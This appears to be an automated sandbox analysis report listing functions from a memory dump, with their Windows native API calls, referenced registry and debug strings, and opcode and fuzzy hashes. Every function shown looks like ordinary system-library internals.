ZwOpenKey.1105(?,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6C00E2C0

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

ZwEnumerateKey.1105(?,00000000,00000000,?,00000200,?,?,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6C065222
ZwClose.1105(00000000,?,00000000,00000000,?,00000200,?,?,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6C0652C8

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete, xrefs: 6C00E264

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEnumerateInitInitializeOpenStringThunkUnicode
String ID: \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete
API String ID: 1553249520-991696866
Opcode ID: e3544195490afd58780af9d58c48f62017506cf822a064192e88d0803d5cba44
Instruction ID: b08fcd5daa1d708e46c21d94a38c779c50aca96bef65fbb3b852ddf40a934e58
Opcode Fuzzy Hash: e3544195490afd58780af9d58c48f62017506cf822a064192e88d0803d5cba44
Instruction Fuzzy Hash: 5B419570911219ABDB20DF69DC88BDDB7F8EF49314F1042E5A518E3690DB709E84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6C00BAA0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000,0000EEEE,?), ref: 6C00BAE6
ZwOpenKey.1105(?,?,?,?,?,00020019,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000,0000EEEE,?), ref: 6C00BB24

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

Strings

@, xrefs: 6C00BB14
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6C00BADC

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitInitializeOpenStringThunkUnicode
String ID: @$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 3332659491-3339074665
Opcode ID: 770ade18dfe035c9fbf3548e5fb9898fd871de94b7b3cf51c3d0cfb9e3718858
Instruction ID: c2bb0a968f901f229439f7e9bdfa11420e2b9fabada082d512184bf8ae7b5842
Opcode Fuzzy Hash: 770ade18dfe035c9fbf3548e5fb9898fd871de94b7b3cf51c3d0cfb9e3718858
Instruction Fuzzy Hash: 7A31AB716087119BD314CF25C090B6BB7F9EF85718F05892EF8A49BB44E731E909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C03D294, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93memorynativefileCOMMON

Download Yara Rule

APIs

ZwQueryAttributesFile.1105(?,?,?,?), ref: 6C03D313
RtlFreeHeap.1105(?,00000000,?,?,?,?,?), ref: 6C03D330
ZwClose.1105(00000000,?,?,?,?), ref: 6C07B001
RtlFreeHeap.1105(?,00000000,?,00000000,?,?,?,?), ref: 6C07B011

Strings

@, xrefs: 6C03D303

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AttributesCloseFileQuery
String ID: @
API String ID: 2866988855-2766056989
Opcode ID: 5b374c3f88c10c72b11528b492ac645998709a7a2a68304f15c912af1bd601ea
Instruction ID: 57bada53bb7f2ca67c52d7329a91f1f854ee9eb9c6642c317ada2f8d95dc37e4
Opcode Fuzzy Hash: 5b374c3f88c10c72b11528b492ac645998709a7a2a68304f15c912af1bd601ea
Instruction Fuzzy Hash: B23181B155C3169FC311CF29C980B9FBBE8EB85758F401A2EF99887A10D634DD08CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C08EA20, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6C0F70A0,-00000054,?,00000000,-00000054,?,6C065D18), ref: 6C08EA52
DbgPrint.1105(AVRF: AVrfDllUnloadNotification called for a provider (%p) ,-00000054,6C0F70A0,-00000054,?,00000000,-00000054,?,6C065D18), ref: 6C08EA69
RtlLeaveCriticalSection.1105(6C0F70A0,6C0F70A0,-00000054,?,00000000,-00000054,?,6C065D18), ref: 6C08EAB0

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 6C08EA64

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavePrint
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 1203512206-702105204
Opcode ID: d0f5239558da40500c182bb43b83f6554cdd62f9f3d703ccb0c8ab2427f0a0ba
Instruction ID: 9ac96dab61e4d21920362dc440aca7520fda918ec58f5a86d9d06c46afc8aa3b
Opcode Fuzzy Hash: d0f5239558da40500c182bb43b83f6554cdd62f9f3d703ccb0c8ab2427f0a0ba
Instruction Fuzzy Hash: E0110635206218EBDE108F64DC84B5E77F9BF86628B104128E83503E51CB25B845C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 6C087365, Relevance: 7.7, APIs: 5, Instructions: 177nativeCOMMON

Download Yara Rule

APIs

RtlRunOnceExecuteOnce.1105(6C0F86E4,6C049490,00000000,00000000,00000000,00000000), ref: 6C08739F
ZwQuerySystemInformation.1105(00000067,?,00000008,00000000,6C0F86E4,6C049490,00000000,00000000,00000000,00000000), ref: 6C0873D7

Part of subcall function 6C049860: LdrInitializeThunk.NTDLL(6C0915BB,00000073,?,00000008,00000000,?,00000568), ref: 6C04986A

RtlCaptureContext.1105(?,6C0F86E4,6C049490,00000000,00000000,00000000,00000000), ref: 6C0875C9
memset.1105(?,00000000,00000050,?,6C0F86E4,6C049490,00000000,00000000,00000000,00000000), ref: 6C0875D8
RtlReportException.1105(C0000409,?,0000001E,00000000,00000000), ref: 6C08761A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$CaptureContextExceptionExecuteInformationInitializeQueryReportSystemThunkmemset
String ID:
API String ID: 3658138377-0
Opcode ID: 15f5038c5d076eca68dfe8c0ab5fedb0ed156c0ba144f52ddac1e011077dfee2
Instruction ID: a48b816357465ef40cae5c83525af614141a9c95813db95e7cfdb7769c1881c8
Opcode Fuzzy Hash: 15f5038c5d076eca68dfe8c0ab5fedb0ed156c0ba144f52ddac1e011077dfee2
Instruction Fuzzy Hash: D28170B5E053289EDB60CF6AD980BDDFBF8BB48304F5081AEE64CA7241D7705A848F54

Uniqueness

Uniqueness Score: -1.00%

Function 6C02B944, Relevance: 7.7, APIs: 5, Instructions: 166nativetimeCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(00000000,?,00002710,00000000,?,?,?), ref: 6C02B9A5
RtlGetCurrentServiceSessionId.1105(00000000,?,00002710,00000000,?,?,?), ref: 6C02BA9C
ZwSetTimer2.1105(00000000,?,00000000,?,00000000,?,00002710,00000000,?,?,?), ref: 6C02BAC6
RtlGetCurrentServiceSessionId.1105(?,?,?), ref: 6C02BAE9
ZwCancelTimer2.1105(00000000,00000000,?,?,?), ref: 6C02BB03

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSessionTimer2$CancelUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1220516486-0
Opcode ID: 360123ecd0180bbbd755662dd2bcfbb4a9605b7679ad66c072570a36da635fe6
Instruction ID: f64ac4830d3a18a0435e2efeaee3d963151eb21a0b4d97e908e38a7d06abc42b
Opcode Fuzzy Hash: 360123ecd0180bbbd755662dd2bcfbb4a9605b7679ad66c072570a36da635fe6
Instruction Fuzzy Hash: 1C515A71609700CFC710CF29C480A1BBBF9FB89708F648A6EE99687B54D775E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C058BE8, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

', xrefs: 6C059129
(null), xrefs: 6C058FFF, 6C05904C
(null), xrefs: 6C05914A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: '$(null)$(null)
API String ID: 3558298466-1087929977
Opcode ID: 1b5dbf1e7a0ffafd7533028515781113b0f78819fad7631bb47730d8e1a58fb7
Instruction ID: e73aec67fbe24e5ec5573fba43e01addd89dd740a0fe9672f0c7654aed7a757c
Opcode Fuzzy Hash: 1b5dbf1e7a0ffafd7533028515781113b0f78819fad7631bb47730d8e1a58fb7
Instruction Fuzzy Hash: C832C5F1A452288BDF248F14CE8479DB7F5EB45318F9481A9DA19A7680D7308EE6CF18

Uniqueness

Uniqueness Score: -1.00%

Function 6C02DBE9, Relevance: 7.6, APIs: 5, Instructions: 149COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6C02DD0B
RtlAcquireSRWLockExclusive.1105(00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6C02DD2D
RtlReleaseSRWLockExclusive.1105(00000000,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6C02DD46

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseServiceSession
String ID:
API String ID: 3179239776-0
Opcode ID: dbb4faee5ae63fe235d76c89e428703956cacf25c31600c0b5533abb2c9d187a
Instruction ID: d11444a40af5efc3ec62427155573df1d011b93d543e0f400a27636037feac2b
Opcode Fuzzy Hash: dbb4faee5ae63fe235d76c89e428703956cacf25c31600c0b5533abb2c9d187a
Instruction Fuzzy Hash: 3F518B71A05616DFCF14CFA8C480B8EBBF5BF49314F24825AD958A7740DB38AD44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C009100, Relevance: 7.6, APIs: 5, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6C0DF6E8,0000002C,6C05E530,00000000,?,6C0E01C0,00000010,6C0D810C,00000000,00000000,00000000,00000000,6C0F86C4,6C0F86C4,00000008), ref: 6C009158
ZwShutdownWorkerFactory.1105(?,?), ref: 6C009182
RtlGetCurrentServiceSessionId.1105 ref: 6C0091C0

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCurrentExclusiveFactoryLockServiceSessionShutdownWorker
String ID:
API String ID: 1345183298-0
Opcode ID: 8471b3009688f9cfd10a70f3073e83ff89f1a657231dfcfb8c00b5884be18c38
Instruction ID: e5281174726059eacec8ed7f355cc7b39afc8163f925ee24158fdd316e1000e9
Opcode Fuzzy Hash: 8471b3009688f9cfd10a70f3073e83ff89f1a657231dfcfb8c00b5884be18c38
Instruction Fuzzy Hash: 9B51E7B0B05645DFEB11CF6AC5487DDB7F5BB4A718F26431AC824A7E81C730A940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C0919C8, Relevance: 7.6, APIs: 5, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

ZwCreateSection.1105(?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6C091A54
ZwMapViewOfSection.1105(?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004,08000000), ref: 6C091A74
memset.1105(?,00000000,000000F0,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?), ref: 6C091A88
ZwUnmapViewOfSection.1105(000000FF,?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6C091AB8
ZwClose.1105(?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6C091AC8

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$View$CloseCreateUnmapmemset
String ID:
API String ID: 788617167-0
Opcode ID: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction ID: 3241bb936d33635d0cab2c20f911a14299758e3dd4bfe5f66bf3ea5ce0b3e47d
Opcode Fuzzy Hash: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction Fuzzy Hash: DF311BB2E01219ABDB10CF9AC840F9EFBFDAF95714F14416AE910A7750D7719E04DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C003880, Relevance: 7.6, APIs: 5, Instructions: 97memorynativeCOMMON

Download Yara Rule

APIs

TpSetWaitEx.1105(000000FF,?,00000000,00000000), ref: 6C0038B7

Part of subcall function 6C02ECE0: RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6C02ED2C
Part of subcall function 6C02ECE0: RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6C02ED90

RtlAllocateHeap.1105(?,00000000,00001030,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6C0038D1
ZwGetCompleteWnfStateSubscription.1105(00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6C0038F0
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?,00000000,00000000,00001030,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6C003914

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateCompleteFreeReleaseStateSubscriptionWait
String ID:
API String ID: 2233382-0
Opcode ID: 4bfd7cabfa6f3edf3aac496139881821bdf04b5fbba3f677e068cdd96af31f42
Instruction ID: 341a7f7ba4f2fc59bc7e984c3cc0b9b01911e7341ec449a4d145134790f0c9ce
Opcode Fuzzy Hash: 4bfd7cabfa6f3edf3aac496139881821bdf04b5fbba3f677e068cdd96af31f42
Instruction Fuzzy Hash: C231C432E41619AFE721CFA9C940FDEB7F8EF09314F114565E954D7A50D734AE048B90

Uniqueness

Uniqueness Score: -1.00%

Function 6C004A20, Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6C004A2A
RtlFreeHeap.1105(?,00000000,?), ref: 6C004AB3

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentFreeHeapServiceSession
String ID:
API String ID: 1159841122-0
Opcode ID: 4a495c0c826392bf8d4ad971d4f78742518314241b6b2ae944bcdb497060dddb
Instruction ID: a44d2a9585bedd831591878497a81f1e6e1a70bfeb19c7c00b2d811698636c6c
Opcode Fuzzy Hash: 4a495c0c826392bf8d4ad971d4f78742518314241b6b2ae944bcdb497060dddb
Instruction Fuzzy Hash: 9021F830348641ABD7209F6BC801B4B77F5AB5336CF15472AD45557EE0DB30A941CB8D

Uniqueness

Uniqueness Score: -1.00%

Function 6C0128AE, Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,?,6C0F84D8,6C010924,6C0F84D8,?,6C0F84D8,?,00000000,?,?,?,6C01087C,?,?,?), ref: 6C0128B3
RtlEnterCriticalSection.1105(6C0F5350), ref: 6C0128DA
RtlGetCurrentServiceSessionId.1105(6C0F5350), ref: 6C0128E1
RtlGetCurrentServiceSessionId.1105 ref: 6C0676AF

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 19de54e4ab9025acfe027e26eaef3052b85e7eeeb0dd1020d26a4f64a4ee3150
Instruction ID: 50a9df1cc80ea382a46d96a06b9ec8b1f344edf5c060cbc10dc010eae9b88286
Opcode Fuzzy Hash: 19de54e4ab9025acfe027e26eaef3052b85e7eeeb0dd1020d26a4f64a4ee3150
Instruction Fuzzy Hash: 7E21F63164B6819BE7129BADCD08B1477E4AB4277CF690360F9309BFE1DB6CA8408220

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D3E22, Relevance: 7.6, APIs: 5, Instructions: 62nativeCOMMON

Download Yara Rule

APIs

ZwTraceControl.1105(0000001A,6C0F5338,00000008,00000000,00000000,?,6C0F5338,00000000,6C0F5320,6C0F5320,6C0F5338,?,6C0F84E0,?,00000001,6BFE5C80), ref: 6C0D3E5D
RtlNtStatusToDosError.1105(00000000,0000001A,6C0F5338,00000008,00000000,00000000,?,6C0F5338,00000000,6C0F5320,6C0F5320,6C0F5338,?,6C0F84E0,?,00000001), ref: 6C0D3E6B
RtlAcquireSRWLockExclusive.1105(6C0F8504,00000000,0000001A,6C0F5338,00000008,00000000,00000000,?,6C0F5338,00000000,6C0F5320,6C0F5320,6C0F5338,?,6C0F84E0), ref: 6C0D3E7A
RtlReleaseSRWLockExclusive.1105(6C0F8504,6C0F8504,00000000,0000001A,6C0F5338,00000008,00000000,00000000,?,6C0F5338,00000000,6C0F5320,6C0F5320,6C0F5338,?,6C0F84E0), ref: 6C0D3EA1
RtlSetLastWin32Error.1105(00000006,6C0F5338,00000000,6C0F5320,6C0F5320,6C0F5338,?,6C0F84E0,?,00000001,6BFE5C80,6C00591B), ref: 6C0D3EAC

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorExclusiveLock$AcquireControlLastReleaseStatusTraceWin32
String ID:
API String ID: 1422652320-0
Opcode ID: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction ID: f8089f3920df88e8020aea1a4f225a43dcf3bdf4a8c8956f5f8c2933644822ae
Opcode Fuzzy Hash: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction Fuzzy Hash: 3311C472600215A6DB109F5AC880BDF7BF8EF49764F424125ED089B680DB34E90587A1

Uniqueness

Uniqueness Score: -1.00%

Function 6C00F150, Relevance: 7.6, APIs: 5, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

RtlFormatCurrentUserKeyPath.1105(?,02000000,?,00000000), ref: 6C00F15F

Part of subcall function 6C01A3E0: ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6C01A404
Part of subcall function 6C01A3E0: RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A414
Part of subcall function 6C01A3E0: RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A443
Part of subcall function 6C01A3E0: RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A469

RtlFreeUnicodeString.1105(?,?,?,?,?,02000000,?,00000000), ref: 6C00F19D

Part of subcall function 6C022400: RtlDeleteBoundaryDescriptor.1105(?,00000000,?,6C098405,?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?), ref: 6C022412

ZwOpenKey.1105(?,?,?,?,02000000,?,00000000), ref: 6C00F192

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendBoundaryConvertCurrentDeleteDescriptorFormatFreeInformationInitializeLengthOpenPathQueryThunkTokenUser
String ID:
API String ID: 1101908438-0
Opcode ID: 73ec4e0d86cf8df40aeff220d2bcc6c55c2540cc0fe13c589779045b0aba5f68
Instruction ID: 56655ab09eaf1fbaf3721b9cb75bd6117d438ebbdaf000a91f5224d79e026c03
Opcode Fuzzy Hash: 73ec4e0d86cf8df40aeff220d2bcc6c55c2540cc0fe13c589779045b0aba5f68
Instruction Fuzzy Hash: 3D11E4B2C0121DABDF11CF96C8849EFFBFDEB88364F014166E914A7200D7359A49CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C03D4B0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000000,?,?,?,00000234,00000000,00000000,00000000,?,6C03C8DC,0000000C,?), ref: 6C07B08F
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx,RtlpInitializeAssemblyStorageMap,00000000,?,?,00000234,00000000,00000000,00000000,?,6C03C8DC,0000000C,?), ref: 6C07B0C0

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 6C07B0B2
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 6C07B0B7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrint
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 3766636288-2653619699
Opcode ID: f1d880ebf8a39fc47f63f7d95cfe96a0a7db8ac1c8afb609cfe667f3f6200545
Instruction ID: 3e2258e15f1464e288e0bcd496dc34e175fca74cc2dc234975139dee52d6581d
Opcode Fuzzy Hash: f1d880ebf8a39fc47f63f7d95cfe96a0a7db8ac1c8afb609cfe667f3f6200545
Instruction Fuzzy Hash: BB110672B11325FBE7248B499D44F5B77ED9B84B58F208069BA089B650E671DE0083E8

Uniqueness

Uniqueness Score: -1.00%

Function 6C09176C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55nativeCOMMON

Download Yara Rule

APIs

ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6C0917B5
ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6C0917E1
ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6C0917EB

Strings

\KernelObjects\SystemErrorPortReady, xrefs: 6C09178B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEventObjectOpenSingleWait
String ID: \KernelObjects\SystemErrorPortReady
API String ID: 2739627308-2278496901
Opcode ID: a593ac613adbd94b86de47c022a10527928bb012c17ce26f65159fba3d6adf28
Instruction ID: 4738f39a95e49aba15917e39d7df77dcbcbc1d6cf4edac99576d137657542076
Opcode Fuzzy Hash: a593ac613adbd94b86de47c022a10527928bb012c17ce26f65159fba3d6adf28
Instruction Fuzzy Hash: 97117375E0011CAADB10CFA99941AEEFBFCEF85210F10416BE914F3290E7705A05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6C00429E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51librarynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\DllNXOptions,?,?,00000000), ref: 6C0042C7

